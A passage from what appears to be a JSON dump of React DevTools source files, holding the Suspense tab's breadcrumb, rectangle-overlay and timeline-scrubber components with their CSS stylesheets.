useContext(StoreContext);\n\n  const menuItems = [];\n  for (let index = lineage.length - 1; index >= 0; index--) {\n    const suspenseNodeID = lineage[index];\n    const node = store.getSuspenseByID(suspenseNodeID);\n    menuItems.push(\n      <MenuItem\n        key={suspenseNodeID}\n        className={`${styles.Component}`}\n        onSelect={selectElement.bind(null, suspenseNodeID)}>\n        {node === null ? 'Unknown' : node.name || 'Unknown'}\n      </MenuItem>,\n    );\n  }\n\n  return (\n    <Menu>\n      <MenuButton className={styles.SuspenseBreadcrumbsMenuButton}>\n        <Tooltip label=\"Open elements dropdown\">\n          <span\n            className={styles.SuspenseBreadcrumbsMenuButtonContent}\n            tabIndex={-1}>\n            <ButtonIcon type=\"more\" />\n          </span>\n        </Tooltip>\n      </MenuButton>\n      <MenuList className={styles.SuspenseBreadcrumbsModal}>\n        {menuItems}\n      </MenuList>\n    </Menu>\n  );\n}\n\ntype SuspenseBreadcrumbsToParentButtonProps = {\n  lineage: $ReadOnlyArray<SuspenseNode['id']>,\n  selectedSuspenseID: SuspenseNode['id'] | null,\n  selectElement: (id: SuspenseNode['id'], event: SyntheticMouseEvent) => void,\n};\nfunction SuspenseBreadcrumbsToParentButton({\n  lineage,\n  selectedSuspenseID,\n  selectElement,\n}: SuspenseBreadcrumbsToParentButtonProps) {\n  const store = useContext(StoreContext);\n  const selectedIndex =\n    selectedSuspenseID === null\n      ? lineage.length - 1\n      : lineage.indexOf(selectedSuspenseID);\n\n  if (selectedIndex <= 0) {\n    return null;\n  }\n\n  const parentID = lineage[selectedIndex - 1];\n  const parent = store.getSuspenseByID(parentID);\n\n  return (\n    <Button\n      className={parent !== null ? undefined : styles.NotInStore}\n      onClick={parent !== null ? selectElement.bind(null, parentID) : null}\n      title={`Up to ${parent === null ? 'Unknown' : parent.name || 'Unknown'}`}>\n      <ButtonIcon type=\"previous\" />\n    </Button>\n  );\n}\n\nexport default function SuspenseBreadcrumbs(): React$Node {\n  const treeDispatch = useContext(TreeDispatcherContext);\n  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);\n\n  const {highlightHostInstance, clearHighlightHostInstance} =\n    useHighlightHostInstance();\n\n  function handleClick(id: SuspenseNode['id'], event?: SyntheticMouseEvent) {\n    if (event !== undefined) {\n      // E.g. 3rd party component libraries might omit the event and already prevent default\n      // like Reach's MenuItem does.\n      event.preventDefault();\n    }\n    treeDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: id});\n    suspenseTreeDispatch({type: 'SELECT_SUSPENSE_BY_ID', payload: id});\n  }\n\n  const [elementsTotalWidth, setElementsTotalWidth] = useState(0);\n  const containerRef = useRef<HTMLDivElement | null>(null);\n  const isOverflowing = useIsOverflowing(containerRef, elementsTotalWidth);\n\n  return (\n    <div className={styles.SuspenseBreadcrumbsContainer} ref={containerRef}>\n      {isOverflowing ? (\n        <SuspenseBreadcrumbsMenu\n          onItemClick={handleClick}\n          onItemPointerEnter={highlightHostInstance}\n          onItemPointerLeave={clearHighlightHostInstance}\n        />\n      ) : (\n        <SuspenseBreadcrumbsFlatList\n          onItemClick={handleClick}\n          onItemPointerEnter={highlightHostInstance}\n          onItemPointerLeave={clearHighlightHostInstance}\n          setElementsTotalWidth={setElementsTotalWidth}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.css",
    "content": ".SuspenseEnvironmentDefault {\n  --color-suspense: var(--color-suspense-default);\n  --color-transition: var(--color-transition-default);\n}\n\n.SuspenseEnvironmentServer {\n  --color-suspense: var(--color-suspense-server);\n  --color-transition: var(--color-transition-server);\n}\n\n.SuspenseEnvironmentOther {\n  --color-suspense: var(--color-suspense-other);\n  --color-transition: var(--color-transition-other);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport styles from './SuspenseEnvironmentColors.css';\n\nexport function getClassNameForEnvironment(environment: null | string): string {\n  if (environment === null) {\n    return styles.SuspenseEnvironmentDefault;\n  }\n  if (environment === 'Server') {\n    return styles.SuspenseEnvironmentServer;\n  }\n  return styles.SuspenseEnvironmentOther;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.css",
    "content": ".SuspenseRectsContainer {\n  padding: .25rem;\n  outline-color: transparent;\n  outline-style: solid;\n  outline-width: 1px;\n  border-radius: 0.25rem;\n}\n\n.SuspenseRectsRoot {\n  cursor: pointer;\n  outline-color: var(--color-transition);\n  background-color: color-mix(in srgb, var(--color-transition) 5%, transparent);\n}\n\n.SuspenseRectsRootOutline {\n  outline-width: 4px;\n  border-radius: 0.125rem;\n}\n\n.SuspenseRectsRoot[data-hovered='true'] {\n  background-color: color-mix(in srgb, var(--color-transition) 15%, transparent);\n}\n\n.SuspenseRectsViewBox {\n  position: relative;\n}\n\n.SuspenseRectsBoundary {\n  pointer-events: all;\n  border-radius: 0.125rem;\n}\n\n.SuspenseRectsBoundary[data-visible='false'] {\n  background-color: transparent;\n}\n\n.SuspenseRectsBoundaryChildren {\n  pointer-events: none;\n}\n\n.SuspenseRectsTitle {\n  pointer-events: none;\n  color: color-mix(in srgb, var(--color-suspense) 50%, var(--color-text));\n  overflow: hidden;\n  text-overflow: ellipsis;\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-small);\n  line-height: var(--line-height-data);\n  padding: 0 .25rem;\n  container-type: size;\n  container-name: title;\n}\n\n@container title (width < 30px) or (height < 18px) {\n  .SuspenseRectsTitle > span {\n    display: none;\n  }\n}\n\n.SuspenseRectsScaledRect[data-visible='false'] > .SuspenseRectsBoundaryChildren {\n  overflow: initial;\n}\n\n.SuspenseRectsRect {\n  box-shadow: var(--elevation-4);\n  pointer-events: all;\n  cursor: pointer;\n  border-radius: 0.125rem;\n  background-color: color-mix(in srgb, var(--color-background) 50%, var(--color-suspense) 25%);\n  backdrop-filter: grayscale(100%);\n  transition: background-color 0.2s ease-in;\n  outline-color: var(--color-suspense);\n  outline-style: solid;\n  outline-width: 1px;\n}\n\n.SuspenseRectsScaledRect {\n  position: absolute;\n}\n\n.SuspenseRectsScaledRect[data-visible='false'] {\n  pointer-events: none;\n  outline-width: 0;\n}\n\n.SuspenseRectsBoundary[data-suspended='true'] {\n  opacity: 0.33;\n}\n\n/* highlight this boundary */\n.SuspenseRectsBoundary[data-hovered='true'] > .SuspenseRectsRect {\n  background-color: color-mix(in srgb, var(--color-background) 50%, var(--color-suspense) 50%);\n  transition: background-color 0.2s ease-out;\n}\n\n.SuspenseRectsBoundary[data-selected='true'][data-visible='true'] {\n  box-shadow: var(--elevation-4);\n}\n\n.SuspenseRectOutline {\n  outline-color: var(--color-suspense);\n  outline-style: solid;\n  outline-width: 4px;\n  border-radius: 0.125rem;\n  pointer-events: none;\n}\n\n.SuspenseRectsBoundary[data-selected='true'] > .SuspenseRectsRect {\n   box-shadow: none;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type Store from 'react-devtools-shared/src/devtools/store';\nimport type {\n  Element,\n  SuspenseNode,\n  Rect,\n} from 'react-devtools-shared/src/frontend/types';\nimport typeof {\n  SyntheticMouseEvent,\n  SyntheticPointerEvent,\n} from 'react-dom-bindings/src/events/SyntheticEvent';\n\nimport * as React from 'react';\nimport {createContext, useContext, useLayoutEffect, useMemo} from 'react';\nimport {\n  TreeDispatcherContext,\n  TreeStateContext,\n} from '../Components/TreeContext';\nimport {StoreContext} from '../context';\nimport {useHighlightHostInstance} from '../hooks';\nimport styles from './SuspenseRects.css';\nimport {\n  SuspenseTreeStateContext,\n  SuspenseTreeDispatcherContext,\n} from './SuspenseTreeContext';\nimport {getClassNameForEnvironment} from './SuspenseEnvironmentColors.js';\nimport type RBush from 'rbush';\n\nfunction ScaledRect({\n  className,\n  rect,\n  visible,\n  suspended,\n  selected,\n  hovered,\n  adjust,\n  ...props\n}: {\n  className: string,\n  rect: Rect,\n  visible: boolean,\n  suspended: boolean,\n  selected?: boolean,\n  hovered?: boolean,\n  adjust?: boolean,\n  ...\n}): React$Node {\n  const viewBox = useContext(ViewBox);\n  const width = (rect.width / viewBox.width) * 100 + '%';\n  const height = (rect.height / viewBox.height) * 100 + '%';\n  const x = ((rect.x - viewBox.x) / viewBox.width) * 100 + '%';\n  const y = ((rect.y - viewBox.y) / viewBox.height) * 100 + '%';\n\n  return (\n    <div\n      {...props}\n      className={styles.SuspenseRectsScaledRect + ' ' + className}\n      data-visible={visible}\n      data-suspended={suspended}\n      data-selected={selected}\n      data-hovered={hovered}\n      style={{\n        // Shrink one pixel so that the bottom outline will line up with the top outline of the next one.\n        width: adjust ? 'calc(' + width + ' - 1px)' : width,\n        height: adjust ? 'calc(' + height + ' - 1px)' : height,\n        top: y,\n        left: x,\n      }}\n    />\n  );\n}\n\nfunction SuspenseRects({\n  suspenseID,\n  parentRects,\n}: {\n  suspenseID: SuspenseNode['id'],\n  parentRects: null | Array<Rect>,\n}): React$Node {\n  const store = useContext(StoreContext);\n  const treeDispatch = useContext(TreeDispatcherContext);\n  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);\n  const {uniqueSuspendersOnly, timeline, hoveredTimelineIndex} = useContext(\n    SuspenseTreeStateContext,\n  );\n\n  const {inspectedElementID} = useContext(TreeStateContext);\n\n  const {highlightHostInstance, clearHighlightHostInstance} =\n    useHighlightHostInstance();\n\n  const suspense = store.getSuspenseByID(suspenseID);\n  if (suspense === null) {\n    // getSuspenseByID will have already warned\n    return null;\n  }\n  const visible = suspense.hasUniqueSuspenders || !uniqueSuspendersOnly;\n\n  function handleClick(event: SyntheticMouseEvent) {\n    if (event.defaultPrevented) {\n      // Already clicked on an inner rect\n      return;\n    }\n    event.preventDefault();\n    treeDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: suspenseID});\n    suspenseTreeDispatch({\n      type: 'SET_SUSPENSE_LINEAGE',\n      payload: suspenseID,\n    });\n  }\n\n  function handleDoubleClick(event: SyntheticMouseEvent) {\n    if (event.defaultPrevented) {\n      // Already clicked on an inner rect\n      return;\n    }\n    event.preventDefault();\n    suspenseTreeDispatch({\n      type: 'TOGGLE_TIMELINE_FOR_ID',\n      payload: suspenseID,\n    });\n  }\n\n  function handlePointerOver(event: SyntheticPointerEvent) {\n    if (event.defaultPrevented) {\n      // Already hovered an inner rect\n      return;\n    }\n    event.preventDefault();\n    highlightHostInstance(suspenseID);\n    suspenseTreeDispatch({\n      type: 'HOVER_TIMELINE_FOR_ID',\n      payload: suspenseID,\n    });\n  }\n\n  function handlePointerLeave(event: SyntheticPointerEvent) {\n    if (event.defaultPrevented) {\n      // Already hovered an inner rect\n      return;\n    }\n    event.preventDefault();\n    clearHighlightHostInstance();\n    suspenseTreeDispatch({\n      type: 'HOVER_TIMELINE_FOR_ID',\n      payload: -1,\n    });\n  }\n\n  // TODO: Use the nearest Suspense boundary\n  const selected = inspectedElementID === suspenseID;\n\n  const hovered =\n    hoveredTimelineIndex > -1 &&\n    timeline[hoveredTimelineIndex].id === suspenseID;\n\n  let environment: null | string = null;\n  for (let i = 0; i < timeline.length; i++) {\n    const timelineStep = timeline[i];\n    if (timelineStep.id === suspenseID) {\n      environment = timelineStep.environment;\n      break;\n    }\n  }\n\n  const rects = suspense.rects;\n  const boundingBox = getBoundingBox(rects);\n\n  // Next we'll try to find a rect within one of our rects that isn't intersecting with\n  // other rects.\n  // TODO: This should probably be memoized based on if any changes to the rtree has been made.\n  const titleBox: null | Rect =\n    rects === null ? null : findTitleBox(store._rtree, rects, parentRects);\n  const nextRects =\n    rects === null || rects.length === 0\n      ? parentRects\n      : parentRects === null || parentRects.length === 0\n        ? rects\n        : parentRects.concat(rects);\n\n  return (\n    <ScaledRect\n      rect={boundingBox}\n      className={\n        styles.SuspenseRectsBoundary +\n        ' ' +\n        getClassNameForEnvironment(environment)\n      }\n      visible={visible}\n      selected={selected}\n      suspended={suspense.isSuspended}\n      hovered={hovered}>\n      <ViewBox.Provider value={boundingBox}>\n        {visible &&\n          suspense.rects !== null &&\n          suspense.rects.map((rect, index) => {\n            return (\n              <ScaledRect\n                key={index}\n                className={styles.SuspenseRectsRect}\n                rect={rect}\n                adjust={true}\n                onClick={handleClick}\n                onDoubleClick={handleDoubleClick}\n                onPointerOver={handlePointerOver}\n                onPointerLeave={handlePointerLeave}\n                // Reach-UI tooltip will go out of bounds of parent scroll container.\n                title={suspense.name || 'Unknown'}\n              />\n            );\n          })}\n        {suspense.children.length > 0 && (\n          <ScaledRect\n            className={styles.SuspenseRectsBoundaryChildren}\n            rect={boundingBox}>\n            {suspense.children.map(childID => {\n              return (\n                <SuspenseRects\n                  key={childID}\n                  suspenseID={childID}\n                  parentRects={nextRects}\n                />\n              );\n            })}\n          </ScaledRect>\n        )}\n        {titleBox && suspense.name && visible ? (\n          <ScaledRect className={styles.SuspenseRectsTitle} rect={titleBox}>\n            <span>{suspense.name}</span>\n          </ScaledRect>\n        ) : null}\n      </ViewBox.Provider>\n    </ScaledRect>\n  );\n}\n\nfunction getBoundingBox(rects: $ReadOnlyArray<Rect> | null): Rect {\n  if (rects === null || rects.length === 0) {\n    return {x: 0, y: 0, width: 0, height: 0};\n  }\n\n  let minX = Number.POSITIVE_INFINITY;\n  let minY = Number.POSITIVE_INFINITY;\n  let maxX = Number.NEGATIVE_INFINITY;\n  let maxY = Number.NEGATIVE_INFINITY;\n\n  for (let i = 0; i < rects.length; i++) {\n    const rect = rects[i];\n    minX = Math.min(minX, rect.x);\n    minY = Math.min(minY, rect.y);\n    maxX = Math.max(maxX, rect.x + rect.width);\n    maxY = Math.max(maxY, rect.y + rect.height);\n  }\n\n  return {\n    x: minX,\n    y: minY,\n    width: maxX - minX,\n    height: maxY - minY,\n  };\n}\n\nfunction computeBoundingRectRecursively(\n  store: Store,\n  node: SuspenseNode,\n  bounds: {\n    minX: number,\n    minY: number,\n    maxX: number,\n    maxY: number,\n  },\n): void {\n  const rects = node.rects;\n  if (rects !== null) {\n    for (let j = 0; j < rects.length; j++) {\n      const rect = rects[j];\n      if (rect.x < bounds.minX) {\n        bounds.minX = rect.x;\n      }\n      if (rect.x + rect.width > bounds.maxX) {\n        bounds.maxX = rect.x + rect.width;\n      }\n      if (rect.y < bounds.minY) {\n        bounds.minY = rect.y;\n      }\n      if (rect.y + rect.height > bounds.maxY) {\n        bounds.maxY = rect.y + rect.height;\n      }\n    }\n  }\n  for (let i = 0; i < node.children.length; i++) {\n    const child = store.getSuspenseByID(node.children[i]);\n    if (child !== null) {\n      computeBoundingRectRecursively(store, child, bounds);\n    }\n  }\n}\n\nfunction getDocumentBoundingRect(\n  store: Store,\n  roots: $ReadOnlyArray<SuspenseNode['id']>,\n): Rect {\n  if (roots.length === 0) {\n    return {x: 0, y: 0, width: 0, height: 0};\n  }\n\n  const bounds = {\n    minX: Number.POSITIVE_INFINITY,\n    minY: Number.POSITIVE_INFINITY,\n    maxX: Number.NEGATIVE_INFINITY,\n    maxY: Number.NEGATIVE_INFINITY,\n  };\n\n  for (let i = 0; i < roots.length; i++) {\n    const rootID = roots[i];\n    const root = store.getSuspenseByID(rootID);\n    if (root === null) {\n      continue;\n    }\n    computeBoundingRectRecursively(store, root, bounds);\n  }\n\n  if (bounds.minX === Number.POSITIVE_INFINITY) {\n    // No rects found, return empty rect\n    return {x: 0, y: 0, width: 0, height: 0};\n  }\n\n  return {\n    x: bounds.minX,\n    y: bounds.minY,\n    width: bounds.maxX - bounds.minX,\n    height: bounds.maxY - bounds.minY,\n  };\n}\n\nfunction findTitleBox(\n  rtree: RBush<Rect>,\n  rects: Array<Rect>,\n  parentRects: null | Array<Rect>,\n): null | Rect {\n  for (let i = 0; i < rects.length; i++) {\n    const rect = rects[i];\n    if (rect.width < 20 || rect.height < 10) {\n      // Skip small rects. They're likely not able to be contain anything useful anyway.\n      continue;\n    }\n    // Find all overlapping rects elsewhere in the tree to limit our rect.\n    const overlappingRects = rtree.search({\n      minX: rect.x,\n      minY: rect.y,\n      maxX: rect.x + rect.width,\n      maxY: rect.y + rect.height,\n    });\n    if (\n      overlappingRects.length === 0 ||\n      (overlappingRects.length === 1 && overlappingRects[0] === rect)\n    ) {\n      // There are no overlapping rects that isn't our own rect, so we can just use\n      // the full space of the rect.\n      return rect;\n    }\n    // We have some overlapping rects but they might not overlap everything. Let's\n    // shrink it up toward the top left corner until it has no more overlap.\n    const minX = rect.x;\n    const minY = rect.y;\n    let maxX = rect.x + rect.width;\n    let maxY = rect.y + rect.height;\n    for (let j = 0; j < overlappingRects.length; j++) {\n      const overlappingRect = overlappingRects[j];\n      if (overlappingRect === rect) {\n        continue;\n      }\n      const x = overlappingRect.x;\n      const y = overlappingRect.y;\n      if (y < maxY && x < maxX) {\n        if (\n          parentRects !== null &&\n          parentRects.indexOf(overlappingRect) !== -1\n        ) {\n          // This rect overlaps but it's part of a parent boundary. We let\n          // title content render if it's on top and not a sibling.\n          continue;\n        }\n        // This rect cuts into the remaining space. Let's figure out if we're\n        // better off cutting on the x or y axis to maximize remaining space.\n        const remainderX = x - minX;\n        const remainderY = y - minY;\n        if (remainderX > remainderY) {\n          maxX = x;\n        } else {\n          maxY = y;\n        }\n      }\n    }\n    if (maxX > minX && maxY > minY) {\n      return {\n        x: minX,\n        y: minY,\n        width: maxX - minX,\n        height: maxY - minY,\n      };\n    }\n  }\n  return null;\n}\n\nfunction SuspenseRectsRoot({rootID}: {rootID: SuspenseNode['id']}): React$Node {\n  const store = useContext(StoreContext);\n  const root = store.getSuspenseByID(rootID);\n  if (root === null) {\n    // getSuspenseByID will have already warned\n    return null;\n  }\n\n  return root.children.map(childID => {\n    return (\n      <SuspenseRects key={childID} suspenseID={childID} parentRects={null} />\n    );\n  });\n}\n\nfunction SuspenseRectsInitialPaint(): React$Node {\n  const {roots} = useContext(SuspenseTreeStateContext);\n  return roots.map(rootID => {\n    return <SuspenseRectsRoot key={rootID} rootID={rootID} />;\n  });\n}\n\nfunction SuspenseRectsTransition({id}: {id: Element['id']}): React$Node {\n  const store = useContext(StoreContext);\n  const children = useMemo(() => {\n    return store.getSuspenseChildren(id);\n  }, [id, store]);\n\n  return children.map(suspenseID => {\n    return (\n      <SuspenseRects\n        key={suspenseID}\n        suspenseID={suspenseID}\n        parentRects={null}\n      />\n    );\n  });\n}\n\nconst ViewBox = createContext<Rect>((null: any));\n\nfunction SuspenseRectsContainer({\n  scaleRef,\n}: {\n  scaleRef: {current: number},\n}): React$Node {\n  const store = useContext(StoreContext);\n  const {activityID, inspectedElementID} = useContext(TreeStateContext);\n  const treeDispatch = useContext(TreeDispatcherContext);\n  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);\n  // TODO: This relies on a full re-render of all children when the Suspense tree changes.\n  const {roots, timeline, hoveredTimelineIndex, uniqueSuspendersOnly} =\n    useContext(SuspenseTreeStateContext);\n\n  const activityChildren: $ReadOnlyArray<SuspenseNode['id']> | null =\n    useMemo(() => {\n      if (activityID === null) {\n        return null;\n      }\n      return store.getSuspenseChildren(activityID);\n    }, [activityID, store]);\n  const transitionChildren =\n    activityChildren === null ? roots : activityChildren;\n\n  // We're using the bounding box of the entire document to anchor the Transition\n  // in the actual document.\n  const boundingBox = getDocumentBoundingRect(store, roots);\n\n  const boundingBoxWidth = boundingBox.width;\n  const heightScale =\n    boundingBoxWidth === 0 ? 1 : boundingBox.height / boundingBoxWidth;\n  // Scales the inspected document to fit into the available width\n  const width = '100%';\n  const aspectRatio = `1 / ${heightScale}`;\n\n  function handleClick(event: SyntheticMouseEvent) {\n    if (event.defaultPrevented) {\n      // Already clicked on an inner rect\n      return;\n    }\n    if (transitionChildren.length === 0) {\n      // Nothing to select\n      return;\n    }\n    const arbitraryRootID = roots[0];\n    const transitionRoot = activityID === null ? arbitraryRootID : activityID;\n\n    event.preventDefault();\n    treeDispatch({\n      type: 'SELECT_ELEMENT_BY_ID',\n      payload: transitionRoot,\n    });\n    suspenseTreeDispatch({\n      type: 'SET_SUSPENSE_LINEAGE',\n      payload: arbitraryRootID,\n    });\n  }\n\n  function handleDoubleClick(event: SyntheticMouseEvent) {\n    if (event.defaultPrevented) {\n      // Already clicked on an inner rect\n      return;\n    }\n    event.preventDefault();\n    suspenseTreeDispatch({\n      type: 'SUSPENSE_SET_TIMELINE_INDEX',\n      payload: 0,\n    });\n  }\n\n  const isRootSelected = roots.includes(inspectedElementID);\n  // When we're focusing a Transition, the first timeline step will not be a root.\n  const isRootHovered = activityID === null && hoveredTimelineIndex === 0;\n\n  let hasRootSuspenders = false;\n  if (!uniqueSuspendersOnly) {\n    hasRootSuspenders = true;\n  } else {\n    for (let i = 0; i < roots.length; i++) {\n      const rootID = roots[i];\n      const root = store.getSuspenseByID(rootID);\n      if (root !== null && root.hasUniqueSuspenders) {\n        hasRootSuspenders = true;\n        break;\n      }\n    }\n  }\n\n  const rootEnvironment =\n    timeline.length === 0 ? null : timeline[0].environment;\n\n  useLayoutEffect(() => {\n    // 100% of the width represents this many pixels in the real document.\n    scaleRef.current = boundingBoxWidth;\n  }, [boundingBoxWidth]);\n\n  let selectedBoundingBox = null;\n  let selectedEnvironment = null;\n  if (isRootSelected) {\n    selectedEnvironment = rootEnvironment;\n  } else if (\n    inspectedElementID !== null &&\n    // TODO: Separate inspected element and inspected Suspense and use the inspected Suspense ID here.\n    store.containsSuspense(inspectedElementID)\n  ) {\n    const selectedSuspenseNode = store.getSuspenseByID(inspectedElementID);\n    if (\n      selectedSuspenseNode !== null &&\n      (selectedSuspenseNode.hasUniqueSuspenders || !uniqueSuspendersOnly)\n    ) {\n      selectedBoundingBox = getBoundingBox(selectedSuspenseNode.rects);\n      for (let i = 0; i < timeline.length; i++) {\n        const timelineStep = timeline[i];\n        if (timelineStep.id === inspectedElementID) {\n          selectedEnvironment = timelineStep.environment;\n          break;\n        }\n      }\n    }\n  }\n\n  return (\n    <div\n      className={\n        styles.SuspenseRectsContainer +\n        (hasRootSuspenders &&\n        // We don't want to draw attention to the root if we're looking at a Transition.\n        // TODO: Draw bounding rect of Transition and check if the Transition\n        // has unique suspenders.\n        activityID === null\n          ? ' ' + styles.SuspenseRectsRoot\n          : '') +\n        (isRootSelected ? ' ' + styles.SuspenseRectsRootOutline : '') +\n        ' ' +\n        getClassNameForEnvironment(rootEnvironment)\n      }\n      onClick={handleClick}\n      onDoubleClick={handleDoubleClick}\n      data-hovered={isRootHovered}>\n      <ViewBox.Provider value={boundingBox}>\n        <div\n          className={styles.SuspenseRectsViewBox}\n          style={{aspectRatio, width}}>\n          {activityID === null ? (\n            <SuspenseRectsInitialPaint />\n          ) : (\n            <SuspenseRectsTransition id={activityID} />\n          )}\n          {selectedBoundingBox !== null ? (\n            <ScaledRect\n              className={\n                styles.SuspenseRectOutline +\n                ' ' +\n                getClassNameForEnvironment(selectedEnvironment)\n              }\n              rect={selectedBoundingBox}\n              adjust={true}\n            />\n          ) : null}\n        </div>\n      </ViewBox.Provider>\n    </div>\n  );\n}\n\nexport default SuspenseRectsContainer;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.css",
    "content": ".SuspenseScrubber {\n  position: relative;\n  width: 100%;\n  height: 1.5rem;\n  border-radius: 0.75rem;\n  padding: 0.25rem;\n  box-sizing: border-box;\n  display: flex;\n  align-items: center;\n}\n\n.SuspenseScrubber:has(.SuspenseScrubberInput:focus-visible) {\n  outline: 2px solid var(--color-button-background-focus);\n}\n\n.SuspenseScrubberInput {\n  position: absolute;\n  width: 100%;\n  opacity: 0;\n  height: 0px;\n  overflow: hidden;\n}\n\n.SuspenseScrubberInput:focus {\n  outline: none;\n}\n\n.SuspenseScrubberStep {\n  cursor: pointer;\n  flex: 1;\n  height: 100%;\n  padding-right: 1px; /* we use this instead of flex gap to make every pixel clickable */\n  display: flex;\n  align-items: center;\n}\n.SuspenseScrubberStep:last-child {\n  padding-right: 0;\n}\n\n.SuspenseScrubberBead {\n  flex: 1;\n  height: 0.5rem;\n  border-radius: 0.5rem;\n  background: color-mix(in srgb, var(--color-suspense) 10%, transparent);\n  transition: all 0.3s ease-in;\n}\n\n.SuspenseScrubberBeadSelected {\n  height: 1rem;\n  background: var(--color-suspense);\n}\n\n.SuspenseScrubberBeadTransition {\n  background: var(--color-transition);\n}\n\n.SuspenseScrubberStepHighlight > .SuspenseScrubberBead {\n  height: 0.75rem;\n  transition: all 0.3s ease-out;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SuspenseTimelineStep} from 'react-devtools-shared/src/frontend/types';\n\nimport typeof {SyntheticEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\n\nimport * as React from 'react';\nimport {useContext, useRef} from 'react';\nimport {ElementTypeRoot} from 'react-devtools-shared/src/frontend/types';\n\nimport styles from './SuspenseScrubber.css';\n\nimport {getClassNameForEnvironment} from './SuspenseEnvironmentColors.js';\n\nimport Tooltip from '../Components/reach-ui/tooltip';\nimport {StoreContext} from '../context';\n\nexport default function SuspenseScrubber({\n  min,\n  max,\n  timeline,\n  value,\n  highlight,\n  onBlur,\n  onChange,\n  onFocus,\n  onHoverSegment,\n  onHoverLeave,\n}: {\n  min: number,\n  max: number,\n  timeline: $ReadOnlyArray<SuspenseTimelineStep>,\n  value: number,\n  highlight: number,\n  onBlur?: () => void,\n  onChange: (index: number) => void,\n  onFocus?: () => void,\n  onHoverSegment: (index: number) => void,\n  onHoverLeave: () => void,\n}): React$Node {\n  const store = useContext(StoreContext);\n  const inputRef = useRef();\n  function handleChange(event: SyntheticEvent) {\n    const newValue = +event.currentTarget.value;\n    onChange(newValue);\n  }\n  function handlePress(index: number, event: SyntheticEvent) {\n    event.preventDefault();\n    if (inputRef.current == null) {\n      throw new Error(\n        'The input should always be mounted while we can click things.',\n      );\n    }\n    inputRef.current.focus();\n    onChange(index);\n  }\n  const steps = [];\n  for (let index = min; index <= max; index++) {\n    const step = timeline[index];\n    const environment = step.environment;\n    const element = store.getElementByID(step.id);\n    const label =\n      index === min\n        ? // The first step in the timeline is always a Transition (Initial Paint).\n          element === null || element.type === ElementTypeRoot\n          ? 'Initial Paint'\n          : 'Transition' +\n            (environment === null ? '' : ' (' + environment + ')')\n        : // TODO: Consider adding the name of this specific boundary if this step has only one.\n          environment === null\n          ? 'Suspense'\n          : environment;\n    steps.push(\n      <Tooltip key={index} label={label}>\n        <div\n          className={\n            styles.SuspenseScrubberStep +\n            (highlight === index\n              ? ' ' + styles.SuspenseScrubberStepHighlight\n              : '')\n          }\n          onPointerDown={handlePress.bind(null, index)}\n          onMouseEnter={onHoverSegment.bind(null, index)}>\n          <div\n            className={\n              styles.SuspenseScrubberBead +\n              (index === min\n                ? // The first step in the timeline is always a Transition (Initial Paint).\n                  ' ' + styles.SuspenseScrubberBeadTransition\n                : '') +\n              ' ' +\n              getClassNameForEnvironment(environment) +\n              (index <= value ? ' ' + styles.SuspenseScrubberBeadSelected : '')\n            }\n          />\n        </div>\n      </Tooltip>,\n    );\n  }\n\n  return (\n    <div className={styles.SuspenseScrubber} onMouseLeave={onHoverLeave}>\n      <input\n        className={styles.SuspenseScrubberInput}\n        type=\"range\"\n        min={min}\n        max={max}\n        value={value}\n        onBlur={onBlur}\n        onChange={handleChange}\n        onFocus={onFocus}\n        ref={inputRef}\n      />\n      {steps}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.css",
    "content": ".SuspenseTab {\n  position: relative;\n  width: 100%;\n  height: 100%;\n  display: flex;\n  flex-direction: row;\n  background-color: var(--color-background);\n  color: var(--color-text);\n  font-family: var(--font-family-sans);\n}\n\n.SuspenseTab, .SuspenseTab * {\n  box-sizing: border-box;\n  -webkit-font-smoothing: var(--font-smoothing);\n}\n\n.VRule {\n  height: 20px;\n  width: 1px;\n  flex: 0 0 1px;\n  margin: 0 0.5rem;\n  background-color: var(--color-border);\n}\n\n.TreeWrapper {\n  border-top: 1px solid var(--color-border);\n  flex: 1 1 65%;\n  display: flex;\n  flex-direction: row;\n  height: 100%;\n  overflow: auto;\n}\n\n.InspectedElementWrapper {\n  flex: 0 0 calc(100% - var(--horizontal-resize-tree-percentage));\n  overflow-x: hidden;\n  overflow-y: auto;\n  border-left: 1px solid var(--color-border);\n}\n\n.ResizeBarWrapper {\n  flex: 0 0 0px;\n  position: relative;\n}\n\n.ResizeBar {\n  position: absolute;\n  /*\n   * moving the bar out of its bounding box might cause its hitbox to overlap\n   * with another scrollbar creating disorienting UX where you both resize and scroll\n   * at the same time.\n   * If you adjust this value, double check that starting resize right on this edge\n   * doesn't also cause scroll\n   */\n  left: 1px;\n  width: 5px;\n  height: 100%;\n  cursor: ew-resize;\n}\n\n@container devtools (width < 600px) {\n  .SuspenseTab {\n    flex-direction: column;\n  }\n\n  .TreeWrapper {\n    border-top: 1px solid var(--color-border);\n    flex: 1 1 50%;\n    overflow: hidden;\n  }\n\n  .InspectedElementWrapper {\n    flex: 0 0 calc(100% - 